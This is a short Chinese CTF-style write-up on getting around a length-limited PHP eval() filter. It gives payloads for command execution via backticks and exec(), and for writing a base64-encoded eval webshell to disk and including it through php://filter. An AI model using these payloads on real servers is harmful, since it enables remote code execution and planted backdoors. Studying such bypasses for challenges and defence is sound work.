eval长度限制

 

源码

 

<?php
$param = $_REQUEST['param'];
if(strlen($param)<17 && stripos($param,'eval') === false && stripos($param,'assert') === false) {
  eval($param);
}
?>

 

要求传入参数长度不能超过17,不能用assert和eval

 

   这里小编例举了两种方法,除此之外还可以用...运算符定义变长参数函数,利用其特性展开数组结合回调后门

 

法1:

利用反引号包裹定义的新传参,例如

param=`$_GET[1]`;&1=bash
param=exec($_GET[1]);

 

162ec2d05bdc47a6a93b228a5ba94cf1.jpeg

 

法2 :

我们使用文件包含file_put_contents

代码:

param=$_GET[a](N,a,8);&a=file_put_contents
# 每次写入一个字符:PD9waHAgZXZhbCgkX1BPU1RbOV0pOw
# 最后包含
param=include$_GET[0];&0=php://filter/read=convert.base64-decode/resource=N

 

三个相关参数:filename  data  flag 

 

71b9c8ab8b1d4bca84593450262c27fc.jpegb3fc207d276b49aaba169ac1de1e4fff.jpegb97ffda30c6a4417b8b7389f22484256.jpeg

 

  • 8
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值